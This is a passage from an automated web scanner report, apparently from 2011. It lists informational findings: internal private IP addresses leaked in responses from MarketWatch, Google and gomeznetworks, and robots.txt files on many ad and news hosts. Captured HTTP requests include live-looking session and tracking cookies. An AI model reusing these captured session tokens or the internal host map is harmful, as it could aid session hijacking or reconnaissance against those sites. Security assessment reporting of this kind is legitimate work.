HTTP/1.1 200 OK
Set-Cookie: ARPT=ZXLZXXS10.0.61.97CKKUY; path=/
Cache-Control: max-age=86400
Content-Length: 11596
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2011 21:36:25 GMT
Accept-Ranges: bytes
ETag: "27cd887db56cc1:e0e"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:50:26 GMT

.PNG
.
...IHDR...............8_... pHYs...............
OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*! .J.!...Q..EE...........Q,..
...!.........{.k........>...........H3Q5...B.........
...[SNIP]...

24.84. http://www.gomeznetworks.com/images/theme/platform_theme.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/images/theme/platform_theme.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.61.99

Request

Response

24.85. http://www.gomeznetworks.com/tempstyle.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/tempstyle.css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.61.99

Request

Response

24.86. http://www.google.com/sdch/vD843DpA.dct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/sdch/vD843DpA.dct

Issue detail

The following RFC 1918 IP address was disclosed in the response:

172.31.196.197

Request

GET /sdch/vD843DpA.dct HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=381be2a5a4e321de:U=b4ccbc578566f743:FF=0:TM=1305295666:LM=1305298565:S=ky1WAdlUDHsxJ4Yj; NID=46=emC1yOmaCO9XZw0ZZrmdTgUMUTiBROryAbKeEwGzRnTTb_foakDWTUcuaMExAPE8kEeEMz0BkfgSMyCMmJ1gvhpl_HzvACAHwZGPtRZ9N4F2KFIQgcQa5mmI8arST7K3
If-Modified-Since: Fri, 13 May 2011 15:43:13 GMT

Response

HTTP/1.1 200 OK
Content-Type: application/x-sdch-dictionary
Last-Modified: Sat, 14 May 2011 11:05:00 GMT
Date: Sat, 14 May 2011 11:35:45 GMT
Expires: Sat, 14 May 2011 11:35:45 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 116591

Domain: .google.com
Path: /search

<!doctype html> <head> <title>re - Google Search</title> <script>window.google={kEI:"28555,29481,2966,29876,29881,29891,30035,30039,30058",kCSI:{e:"25907,4,29
...[SNIP]...
<a href="/search?hl=en&q=related: http://172.31.196.197:8888/search?q=cache: &hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return rwt(this,'','','','1','AFQjCN clk(this.href,'','','','1','','0CCk ')">
...[SNIP]...
<b>www.ahttp://172.31.196.197:8888/search?q=cache: &hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return rwt(this,'','','','2','AFQjCN clk(this.href,'','','',' UBEBYwBg')">
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:www.edmunds.com/used-cars/+used+carNKvLeHS7sb0J:www.carsdirect.com/used_cars/search+used+car&hl=en&ct=clnk&gl=us&source=www.google.com','','','',' ')">
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: rectv.com/DTVAPP/content/contact_us+directKvzX53GQf98J:www.directv.com/DTVAPP/content/My_Account+direct 4','AFQjCN clk(this.href,'','','','4',''
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: OJ7l3PBi2ywJ:www.usedcars.com/+used+carH75rMPosXksJ:www.cars.com/+used+cary4a-lQGHU2cJ:www.vehix.com/+used+car topics.nytimes.com/top/news/business/ &rct=j&sa=
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:4AUACFJFdYwJ:search.aol.com/+aol3-ZEIkE37Z4J:www.directv.com/+direct1nPyaj3yx18J:www.orbitz.com/App/DisplayCarSearch+ &hl=en&ct=clnk&gl=us&source=www.google
...[SNIP]...
<a href="/search?hl=en&q=related:http://172.31.196.197:8888/search?q=cache: &cd= &hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return rwt(this,'','','','7','AFQjCNGclk(this.href,'','','','1','','0C QIDAG')">
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:_AF_a1pfx4YJ:www.craigslist.com/+o&cd=8&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return rwt(this,'','','',' clk(this.href,'','','','8',
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: &hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return rwt(this,'','','',' 9','AFQjCNFclk(this.href,'','','','9','','0C en.wikipedia.org
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: &hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return rwt(this,'','','','10','AFQjCNFclk(this.href,'','','','1rwt(this,'','','','1 cl
...[SNIP]...

24.87. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.240.178.139

Request

POST /bg/api/Connect.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; _chartbeat2=g73giwkwwxj3e1nb; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001
Content-Length: 2

{}

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: secdbgowebp03
Date: Sat, 14 May 2011 10:31:05 GMT
Content-Length: 231

{"clientInfo":{"c":"88754339ba504594a5219e1175f3dc50","s":"10.240.178.139"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

24.88. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.241.41.143

Request

POST /bg/api/Connect.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=etw2ys2eheu3jgjj3pi2pxnz; __g_c=w%3A1%7Cb%3A10%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb
Content-Length: 2

{}

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: sbkdbgowebp07
Date: Sat, 14 May 2011 10:39:14 GMT
Content-Length: 230

{"clientInfo":{"c":"f6e0845590664060a0c5508a417eed81","s":"10.241.41.143"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

24.89. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.241.41.139

Request

POST /bg/api/Connect.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; ASP.NET_SessionId=etw2ys2eheu3jgjj3pi2pxnz; __g_c=w%3A1%7Cb%3A10%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb
Content-Length: 2

{}

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: sbkdbgowebp03
Date: Sat, 14 May 2011 13:34:14 GMT
Content-Length: 230

{"clientInfo":{"c":"e1beaabf1e1547aaa47371f479fc3379","s":"10.241.41.139"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

24.90. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.240.178.144

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: secdbgowebp08
Date: Sat, 14 May 2011 13:44:33 GMT
Content-Length: 231

{"clientInfo":{"c":"a8a5ccb24ea44872ba8d57acd04b4f86","s":"10.240.178.144"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

24.91. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.240.178.141

Request

POST /bg/api/Connect.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; ASP.NET_SessionId=etw2ys2eheu3jgjj3pi2pxnz; __g_c=w%3A1%7Cb%3A10%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb
Content-Length: 2

{}

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: secdbgowebp05
Date: Sat, 14 May 2011 11:30:02 GMT
Content-Length: 231

{"clientInfo":{"c":"11da505db4614972b5a651c2893d96a6","s":"10.240.178.141"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

24.92. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.241.41.141

Request

POST /bg/api/Connect.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; refresh=off
Content-Length: 2

{}

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: sbkdbgowebp05
Date: Sat, 14 May 2011 10:15:55 GMT
Content-Length: 230

{"clientInfo":{"c":"91521906d7db4421b5db58c683175ec7","s":"10.241.41.141"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

24.93. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.240.178.140

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: secdbgowebp04
Date: Sat, 14 May 2011 13:23:57 GMT
Content-Length: 231

{"clientInfo":{"c":"dda09eb08c074a32b2ee61f25d28a697","s":"10.240.178.140"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

24.94. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.241.41.140

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: sbkdbgowebp04
Date: Sat, 14 May 2011 13:03:14 GMT
Content-Length: 230

{"clientInfo":{"c":"df185d4820fb473f98fcd2e771e5f8d9","s":"10.241.41.140"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

24.95. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.241.41.142

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: sbkdbgowebp06
Date: Sat, 14 May 2011 12:42:17 GMT
Content-Length: 230

{"clientInfo":{"c":"40bab9f2b5f9463da4602283f3e6344d","s":"10.241.41.142"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

24.96. http://www.marketwatch.com/bg/api/Connect.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.240.178.138

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-MACHINE: secdbgowebp02
Date: Sat, 14 May 2011 12:52:45 GMT
Content-Length: 231

{"clientInfo":{"c":"9cc474f66eff4df29298a9f736ddde83","s":"10.240.178.138"},"protocolInfo":{"pickupUrl":"http:\/\/www.marketwatch.com\/bg\/api\/Pickup.ashx","pickupInterval":7500},"status":{"disabled":false,"retryInterval":600000}}

25. Robots.txt file previous next
There are 70 instances of this issue:

http://ad.doubleclick.net/adi/interactive.wsj.com/weekend
http://allthingsd.com/
http://altfarm.mediaplex.com/ad/js/13754-86576-1281-0
http://amch.questionmarket.com/adscgen/st.php
http://api.bizographics.com/v1/profile.json
http://api.twitter.com/receiver.html
http://b.scorecardresearch.com/r
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://c.statcounter.com/t.php
http://cache-01.cleanprint.net/cp/ccg
http://cheetah.vizu.com/c.gif
http://commerce.wsj.com/auth/login
https://commerce.wsj.com/auth/forgotpass
http://coretomic.com/
http://dowjones.tt.omtrdc.net/m2/dowjones/mbox/standard
http://ds.serving-sys.com/BurstingCachedScripts//SBTemplates_2_3_0/StdBanner.js
http://fls.doubleclick.net/activityi
http://gg.google.com/csi
http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1033560366/
http://i1.marketwatch.com/MW5/content/business/css/marketwatch.member.css
http://i3.marketwatch.com/MW5/content/story/css/story-typography.css
http://i4.marketwatch.com/MW5/content/story/css/story-layout.css
http://idolpeeps.com/
http://images.apple.com/global/nav/scripts/globalnav.js
http://images.scanalert.com/images/liveperson/set03/repoffline.gif
http://img.mediaplex.com/content/0/13754/86576/FINS_phone_300x250.js
http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
http://json6.ringrevenue.com/6/map_number
http://jtools.smartmoney.com/marketspectrum/spectrumServer
http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
http://maps.google.com/maps/api/js
http://maps.googleapis.com/maps/api/js/StaticMapService.GetMapImage
http://metrics.apple.com/b/ss/applesuperglobal/1/H.20.3/s79162857956252
http://mp.apmebf.com/ad/js/13754-86576-1281-0
http://mt0.googleapis.com/vt
http://mt1.googleapis.com/vt
http://odb.outbrain.com/utils/ping.html
http://om.dowjoneson.com/b/ss/djglobal,djwsj/1/H.20.3/s77142258654348
http://online.barrons.com/home
http://online.wsj.com/
http://p.opt.fimserve.com/bht/
http://pixel.quantserve.com/pixel
http://pubads.g.doubleclick.net/gampad/ads
http://puma.vizu.com/cdn/00/00/18/39/smart_tag.js
http://r.mzstatic.com/htmlResources/5176/web-storefront-base.cssz
http://rea.wsj.net/javascripts/dragdrop.js
http://realestate.wsj.com/for-sale/us/10010
http://s.fins.com/CombineScriptHandler.ashx
http://s.marketwatch.com/public/resources/documents/PixelTracking.html
http://safebrowsing.clients.google.com/safebrowsing/downloads
http://search.twitter.com/search.json
http://static.2mdn.net/default.htm
http://static.ak.fbcdn.net/connect/xd_proxy.php
http://toolbarqueries.clients.google.com/tbproxy/af/query
http://topics.barrons.com/person/S/michael-santoli/6041
http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
http://traffic.outbrain.com/network/redir
http://twitter.com/WSJHouse
http://urlquery.net/
http://www.bizographics.com/collect/
http://www.dinse.com/news_events.html
http://www.facebook.com/widgets/recommendations.php
http://www.fins.com/
http://www.google-analytics.com/ga.js
http://www.googleadservices.com/pagead/conversion/1033560366/
http://www.marketwatch.com/
http://www.mcafeesecure.com/RatingVerify
https://www.mcafeesecure.com/us/products/buy_now.jsp
http://www.midphase.com/
http://www.smartmoney.com/

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

25.1. http://ad.doubleclick.net/adi/interactive.wsj.com/weekend previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/weekend

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ad.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/plain
Content-Length: 101
Last-Modified: Thu, 18 Mar 2010 15:31:04 GMT
Date: Sat, 14 May 2011 10:09:19 GMT

User-Agent: AdsBot-Google
Disallow:

User-Agent: MSNPTC
Disallow:

User-agent: *
Disallow: /

25.2. http://allthingsd.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://allthingsd.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: allthingsd.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:12:56 GMT
Content-Type: text/plain
Connection: close
Accept-Ranges: bytes
Last-Modified: Mon, 23 Feb 2009 23:25:39 GMT
Content-Length: 231

User-agent: Googlebot
Disallow: /search/

User-agent: Yahoo! Slurp
Disallow: /search/

User-agent: msnbot
Disallow: /search/

User-agent: Twiceler
Disallow: /search/

User-agent: Gigabot
Disallow: /se
...[SNIP]...

25.3. http://altfarm.mediaplex.com/ad/js/13754-86576-1281-0 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: altfarm.mediaplex.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"26-1289502470000"
Last-Modified: Thu, 11 Nov 2010 19:07:50 GMT
Content-Type: text/plain
Content-Length: 26
Date: Sat, 14 May 2011 10:12:37 GMT
Connection: keep-alive

User-agent: *
Disallow: /

25.4. http://amch.questionmarket.com/adscgen/st.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: amch.questionmarket.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:14:07 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
Last-Modified: Tue, 28 Mar 2006 15:45:05 GMT
ETag: "200515ce-1a-f999c240"
Accept-Ranges: bytes
Content-Length: 26
Keep-Alive: timeout=120, max=127
Connection: Keep-Alive
Content-Type: text/plain

User-agent: *
Disallow: /

25.5. http://api.bizographics.com/v1/profile.json previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.bizographics.com
Path:	/v1/profile.json

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: api.bizographics.com

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/plain
Date: Sat, 14 May 2011 10:09:14 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Content-Length: 26
Connection: Close

User-agent: *
Disallow: /

25.6. http://api.twitter.com/receiver.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.twitter.com
Path:	/receiver.html

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: api.twitter.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:58:19 GMT
Server: Apache
Vary: Host,Accept-Encoding
Set-Cookie: k=173.193.214.243.1305370699246417; path=/; expires=Sat, 21-May-11 10:58:19 GMT; domain=.twitter.com
Last-Modified: Wed, 04 May 2011 17:32:26 GMT
Accept-Ranges: bytes
Content-Length: 26
Cache-Control: max-age=86400
Expires: Sun, 15 May 2011 10:58:19 GMT
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /

25.7. http://b.scorecardresearch.com/r previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/r

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: b.scorecardresearch.com

Response

HTTP/1.0 200 OK
Last-Modified: Wed, 06 Jan 2010 17:35:59 GMT
Content-Length: 28
Content-Type: text/plain
Expires: Sun, 15 May 2011 10:09:22 GMT
Date: Sat, 14 May 2011 10:09:22 GMT
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

User-agent: *
Disallow: /

25.8. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: bs.serving-sys.com

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Mon, 16 Jan 2006 20:19:44 GMT
Accept-Ranges: bytes
ETag: "0b02b30da1ac61:0"
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:09:23 GMT
Connection: close
Content-Length: 28

User-agent: *
Disallow: /

25.9. http://c.statcounter.com/t.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c.statcounter.com
Path:	/t.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: c.statcounter.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:32:48 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 29 Sep 2010 14:41:23 GMT
ETag: "2af8ff3-1a-49166f495eac0"
Accept-Ranges: bytes
Content-Length: 26
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow:

25.10. http://cache-01.cleanprint.net/cp/ccg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cache-01.cleanprint.net
Path:	/cp/ccg

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: cache-01.cleanprint.net

Response

HTTP/1.0 200 OK
Server: None
ETag: "2e-4767523e05c00"
Accept-Ranges: bytes
X-Server: FD-03
Vary: Accept-Encoding
Content-Type: text/plain
Content-Language: en
Age: 216637
Date: Sat, 14 May 2011 10:22:11 GMT
Last-Modified: Wed, 21 Oct 2009 17:16:32 GMT
Content-Length: 46
Connection: close

# Deny all robots
User-agent: *
Disallow: /

25.11. http://cheetah.vizu.com/c.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cheetah.vizu.com
Path:	/c.gif

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: cheetah.vizu.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:30 GMT
Server: PWS/1.7.2.1
X-Px: ms iad-agg-n13 ( iad-agg-n34), ht-d brf iad-agg-n34.panthercdn.com
ETag: "3c053-1a-e5355f40"
Cache-Control: max-age=604800
Expires: Sun, 15 May 2011 01:10:18 GMT
Age: 550752
Content-Length: 26
Content-Type: text/plain; charset=UTF-8
Last-Modified: Wed, 04 May 2011 23:48:37 GMT
Connection: close

User-agent: *
Disallow: /

